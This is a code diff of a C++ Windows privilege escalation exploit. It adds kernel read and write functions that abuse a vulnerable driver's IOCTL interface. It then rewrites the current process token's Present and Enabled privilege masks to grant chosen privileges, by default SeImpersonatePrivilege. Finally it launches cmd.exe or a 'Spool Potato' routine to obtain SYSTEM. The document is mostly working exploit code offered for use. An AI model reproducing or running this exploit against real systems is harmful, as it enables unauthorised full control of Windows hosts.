skipped 21 lines 22 22 #include <stdio.h> 23 23 #include <iostream> 24 24 #include <cstdint> // include this header for uint64_t 25 + #include <Psapi.h> 26 + #include <map> 25 27 26 28 #pragma comment(lib, "Wtsapi32.lib") 27 29 #pragma comment(lib, "rpcrt4.lib") skipped 8 lines 36 38 #define SystemHandleInformation 0x10 37 39 #define SystemHandleInformationSize 1024 * 1024 * 2 38 40 41 + std::map<std::string, uint64_t> privMap = { 42 + { "SeCreateTokenPrivilege", 0x000000002 }, 43 + { "SeAssignPrimaryTokenPrivilege", 0x000000003 }, 44 + { "SeLockMemoryPrivilege", 0x000000004 }, 45 + { "SeIncreaseQuotaPrivilege", 0x000000005 }, 46 + { "SeMachineAccountPrivilege", 0x000000006 }, 47 + { "SeTcbPrivilege", 0x000000007 }, 48 + { "SeSecurityPrivilege", 0x000000008 }, 49 + { "SeTakeOwnershipPrivilege", 0x000000009 }, 50 + { "SeLoadDriverPrivilege", 0x00000000a }, 51 + { "SeSystemProfilePrivilege", 0x00000000b }, 52 + { "SeSystemtimePrivilege", 0x00000000c }, 53 + { "SeProfileSingleProcessPrivilege", 0x00000000d }, 54 + { "SeIncreaseBasePriorityPrivilege", 0x00000000e }, 55 + { "SeCreatePagefilePrivilege", 0x00000000f }, 56 + { "SeCreatePermanentPrivilege", 0x000000010 }, 57 + { "SeBackupPrivilege", 0x000000011 }, 58 + { "SeRestorePrivilege", 0x000000012 }, 59 + { "SeShutdownPrivilege", 0x000000013 }, 60 + { "SeDebugPrivilege", 0x000000014 }, 61 + { "SeAuditPrivilege", 0x000000015 }, 62 + { "SeSystemEnvironmentPrivilege", 0x000000016 }, 63 + { "SeChangeNotifyPrivilege", 0x000000017 }, 64 + { "SeRemoteShutdownPrivilege", 0x000000018 }, 65 + { "SeUndockPrivilege", 0x000000019 }, 66 + { "SeSyncAgentPrivilege", 0x00000001a }, 67 + { "SeEnableDelegationPrivilege", 0x00000001b }, 68 + { "SeManageVolumePrivilege", 0x00000001c }, 69 + { "SeImpersonatePrivilege", 0x00000001d }, 70 + { "SeCreateGlobalPrivilege", 0x00000001e }, 71 + { "SeTrustedCredManAccessPrivilege", 0x00000001f }, 72 + { "SeRelabelPrivilege", 0x000000020 }, 73 + { "SeIncreaseWorkingSetPrivilege", 0x000000021 }, 74 + { "SeTimeZonePrivilege", 0x000000022 }, 75 + { "SeCreateSymbolicLinkPrivilege", 0x000000023 }, 76 + { "SeDelegateSessionUserImpersonatePrivilege", 0x000000024 } 77 + }; 39 78 40 - struct ioctl_input_params { 79 + struct ioctl_input_params_write { 41 80 uint64_t padding1; 42 81 uint64_t address; 43 82 uint64_t padding2; 44 83 uint64_t value_to_write; 84 + }; 85 + 86 + struct ioctl_input_params_read { 87 + uint64_t padding1; 88 + uint64_t what; 89 + uint64_t padding2; 90 + uint64_t where; 45 91 }; 46 92 47 93 using pNtQuerySystemInformation = NTSTATUS(WINAPI*)( skipped 357 lines 405 451 return 0; 406 452 } 407 453 454 + BOOL KernelRead(HANDLE hDevice, uint64_t what, uint64_t* where) { 455 + DWORD dwBytesReturned = 0; 456 + ioctl_input_params_read readData{ 0 }; 408 457 409 - __declspec(dllexport) void exploit() { 458 + readData.what = what; 459 + BOOL read = DeviceIoControl(hDevice, 0x9b0c1ec4, &readData, sizeof(readData), &readData, sizeof(readData), &dwBytesReturned, NULL); 460 + *where = readData.where; 461 + return read; 462 + } 410 463 411 - //Start by getting the location of our token 464 + BOOL KernelWrite(HANDLE hDevice, uint64_t where, uint64_t what) { 412 465 DWORD bytesReturned = 0; 466 + ioctl_input_params_write privilege_enabled_params{ 0 }; 467 + privilege_enabled_params.address = where; 468 + privilege_enabled_params.value_to_write = what; 469 + 470 + BOOL write = DeviceIoControl(hDevice, 0x9B0C1EC8, &privilege_enabled_params, sizeof(privilege_enabled_params), &privilege_enabled_params, sizeof(privilege_enabled_params), &bytesReturned, NULL); 471 + return write; 472 + } 473 + 474 + UINT64 ConvertUserToKernelAddress(HMODULE LoadedLibrary, FARPROC MappedAddress, UINT64 NtBaseAddress) 475 + { 476 + UINT64 Result = reinterpret_cast<UINT64>(MappedAddress); 477 + Result -= reinterpret_cast<UINT64>(LoadedLibrary); 478 + Result += NtBaseAddress; 479 + 480 + return Result; 481 + } 482 + 483 + bool ResolveBaseAddressFor(const wchar_t* ModuleName, PUINT64 BaseAddress) 484 + { 485 + const int nSize = 1024 * 2; 486 + 487 + LPVOID lpImageBase[nSize] = { 0 }; 488 + DWORD cbNeeded = 0; 489 + 490 + if (EnumDeviceDrivers(lpImageBase, nSize, &cbNeeded) && 491 + cbNeeded < sizeof(lpImageBase)) 492 + { 493 + wchar_t szDriver[nSize] = { 0 }; 494 + int drivers = cbNeeded / sizeof(lpImageBase[0]); 495 + 496 + for (int i = 0; i < drivers; i++) 497 + { 498 + if (GetDeviceDriverBaseName(lpImageBase[i], szDriver, sizeof(szDriver) / sizeof(szDriver[0]))) 499 + { 500 + if (wcscmp(szDriver, ModuleName) == 0) 501 + { 502 + *BaseAddress = reinterpret_cast<uint64_t>(lpImageBase[i]); 503 + return true; 504 + } 505 + } 506 + } 507 + } 508 + 509 + return false; 510 + } 511 + 512 + void exploit(int argc, char** argv) { 513 + 514 + //Start by getting the location of our token 413 515 414 516 pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)::GetProcAddress(::LoadLibraryW(L"ntdll"), "NtQuerySystemInformation"); 415 517 skipped 28 lines 444 546 FILE_ATTRIBUTE_NORMAL, 445 547 NULL); 446 548 447 - //Overwrite the Enabled and Present values in SEP_TOKEN_PRIVILEGES 448 - static constexpr uint64_t MASK_TO_WRITE = 0xffffffffffffffff; 449 - uint64_t tokenPrivileges = tokenAddress + 0x41; 549 + //Stuff to resolve System Token + Token Offset 550 + /*UINT64 NtosBaseAddress = 0; 551 + if (!ResolveBaseAddressFor(L"ntoskrnl.exe", &NtosBaseAddress)) 552 + { 553 + std::wcerr << "[!] Unable to resolve ntoskrnl!" << std::endl; 554 + } 555 + 556 + HMODULE hModule = LoadLibrary(L"ntoskrnl.exe"); 557 + if (hModule == NULL) 558 + { 559 + std::wcerr << "[!] LoadLibrary failed: " << GetLastError() << std::endl; 560 + } 561 + 562 + FARPROC PsInitialSystemProcess = GetProcAddress(hModule, "PsInitialSystemProcess"); 563 + if (PsInitialSystemProcess == NULL) 564 + { 565 + std::wcerr << "[!] GetProcAddress failed: " << GetLastError() << std::endl; 566 + } 567 + 568 + FARPROC PsReferencePrimaryToken = GetProcAddress(hModule, "PsReferencePrimaryToken"); 569 + if (PsReferencePrimaryToken == NULL) 570 + { 571 + std::wcerr << "[!] GetProcAddress failed: " << GetLastError() << std::endl; 572 + } 573 + 574 + FARPROC SeQueryInformationToken = GetProcAddress(hModule, "SeQueryInformationToken"); 575 + if (SeQueryInformationToken == NULL) 576 + { 577 + std::wcerr << "[!] GetProcAddress failed: " << GetLastError() << std::endl; 578 + } 579 + 580 + UINT64 ui64PsInitialSystemProcess = ConvertUserToKernelAddress( 581 + hModule, 582 + PsInitialSystemProcess, 583 + NtosBaseAddress 584 + ); 585 + 586 + std::wcout << "[+] Token function location is at: " << std::hex << PsReferencePrimaryToken << std::endl; 587 + UINT64 ui32TokenOffset = *reinterpret_cast<PUINT32>( 588 + reinterpret_cast<PUCHAR>(PsReferencePrimaryToken) + 0x15 589 + ); 590 + 591 + std::wcout << "[+] PsInitialSystemProcess is located: " << (LPVOID)ui64PsInitialSystemProcess << std::endl; 592 + std::wcout << "[+] Token offset: " << std::hex << ui32TokenOffset << std::endl; 593 + */ 594 + 595 + system("whoami /priv"); 596 + 597 + uint64_t privPresent; 598 + uint64_t privEnabled; 599 + 600 + KernelRead(hDevice, tokenAddress + 0x40, &privPresent); 601 + std::wcout << "[+] Present token is: 0x" << std::hex << privPresent << std::endl; 602 + 603 + KernelRead(hDevice, tokenAddress + 0x48, &privEnabled); 604 + std::wcout << "[+] Enabled token is: 0x" << std::hex << privEnabled << std::endl; 605 + 606 + if (argc > 1) { 607 + for (int i = 1; i < argc; ++i) { 608 + std::string privName = argv[i]; 609 + if (privMap.find(privName) == privMap.end()) 610 + { 611 + std::cout << "[x] Invalid privilege to obtain: " << argv[i] << std::endl; 612 + continue; 613 + } 450 614 451 - std::cout << "[+] Overwriting PRESENT token mask..." << std::endl; 452 - ioctl_input_params privilege_present_params{ 0 }; 453 - privilege_present_params.address = tokenPrivileges; 454 - privilege_present_params.value_to_write = MASK_TO_WRITE; 615 + std::wcout << "[+] Masking tokens with " << privName.c_str() << "..." << std::endl; 616 + privPresent |= 1 << privMap[argv[i]]; 617 + privEnabled |= 1 << privMap[argv[i]]; 618 + } 619 + } 620 + else { 621 + std::wcout << "[+] Masking tokens with SeImpersonatePrivilege..." << std::endl; 622 + privPresent |= 1 << privMap["SeImpersonatePrivilege"]; 623 + privEnabled |= 1 << privMap["SeImpersonatePrivilege"]; 624 + } 455 625 456 - DeviceIoControl(hDevice, 0x9B0C1EC8, &privilege_present_params, sizeof(privilege_present_params), &privilege_present_params, sizeof(privilege_present_params), &bytesReturned, NULL); 626 + std::wcout << "[+] Present token masked is: 0x" << std::hex << privPresent << std::endl; 627 + std::wcout << "[+] Enabled token masked is: 0x" << std::hex << privEnabled << std::endl; 457 628 458 - std::cout << "[+] Overwriting ENABLED token mask..." << std::endl; 459 - ioctl_input_params privilege_enabled_params{ 0 }; 460 - privilege_enabled_params.address = tokenPrivileges + 0x08; 461 - privilege_enabled_params.value_to_write = MASK_TO_WRITE; 629 + std::cout << "[+] Updating PRESENT token mask..." << std::endl; 630 + KernelWrite(hDevice, tokenAddress + 0x40, privPresent); 462 631 463 - DeviceIoControl(hDevice, 0x9B0C1EC8, &privilege_enabled_params, sizeof(privilege_enabled_params), &privilege_enabled_params, sizeof(privilege_enabled_params), &bytesReturned, NULL); 632 + std::cout << "[+] Updating ENABLED token mask..." << std::endl; 633 + KernelWrite(hDevice, tokenAddress + 0x48, privEnabled); 634 + system("whoami /priv"); 464 635 } 465 636 466 - void main() { 637 + __declspec(dllexport) void main(int argc, char** argv) { 467 638 std::cout << "[+] Setting token privs using write primitive first..." << std::endl; 468 - exploit(); 469 - std::cout << "[+] Running Spool Potato to get SYSTEM..." << std::endl; 470 - SpoolPotato(); 639 + if (argc > 1) { 640 + std::cout << "[+] Obtaining specificed privileges: " << argv[1] << std::endl; 641 + exploit(argc, argv); 642 + system("cmd.exe"); 643 + } 644 + else { 645 + std::cout << "[+] Obtaining SeImpersonatePrivilege and getting SYSTEM..." << std::endl; 646 + exploit(argc, argv); 647 + std::cout << "[+] Running Spool Potato magic to get SYSTEM using only SeImpersonatePrivilege..." << std::endl; 648 + SpoolPotato(); 649 + } 471 650 } 472 651